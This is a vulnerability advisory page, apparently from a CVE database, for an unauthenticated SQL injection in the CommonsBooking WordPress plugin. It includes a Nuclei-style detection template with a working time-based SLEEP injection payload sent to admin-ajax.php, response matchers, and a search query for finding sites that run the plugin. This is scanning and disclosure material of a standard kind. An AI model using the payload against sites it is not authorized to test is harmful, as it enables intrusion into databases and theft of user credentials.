CVE-2022-0658: CommonsBooking < 2.6.8 - SQL Injection

2025-08-01 CommonsBooking PoC Public

Description

The plugin does not sanitise and escape the location parameter of the calendar_data AJAX action (available to unauthenticated users) before it is used in dynamically constructed SQL queries, leading to an unauthenticated SQL injection.

PoC

id: CVE-2022-0658

info:
  name: CommonsBooking < 2.6.8 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The plugin does not sanitise and escape the location parameter of the calendar_data AJAX action (available to unauthenticated users) before it is used in dynamically constructed SQL queries, leading to an unauthenticated SQL injection.
  impact: |
    Unauthenticated attackers can execute SQL injection via unsanitized AJAX parameters to extract database contents, potentially exposing sensitive WordPress data including user credentials.
  remediation: Fixed in version 2.6.8
  reference:
    - https://wpscan.com/vulnerability/d7f0805a-61ce-454a-96fb-5ecacd767578
    - https://wordpress.org/plugins/commonsbooking/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0658
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0658
    cwe-id: CWE-89
    epss-score: 0.08631
    epss-percentile: 0.94976
    cpe: cpe:2.3:a:wielebenwir:commonsbooking:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wielebenwir
    product: commonsbooking
    framework: wordpress
    google-query: inurl:/wp-content/plugin/commonsbooking/
  tags: time-based-sqli,cve,cve2022,wordpress,wp-plugin,wp,commonsbooking,sqli,wpscan,wielebenwir,vuln

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=calendar_data&sd=2099-02-13&ed=2099-02-13&item=1&location=(SELECT+1743+FROM+(SELECT(SLEEP(6)))iXxL3)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'contains(body, "partiallyBookedDays") && contains(body, "lockDays")'
        condition: and
# digest: 490a00463044022062f14bf19171346abc2e14275f98154b83decac4b2fe5c94c6ab15ceaa31fd4b022036ce9e4019e737066773b012f5bddd739f1cb8518b0c2cf3407babd0b72fa3e9:922c64590222798bb761d5b6d8e72950

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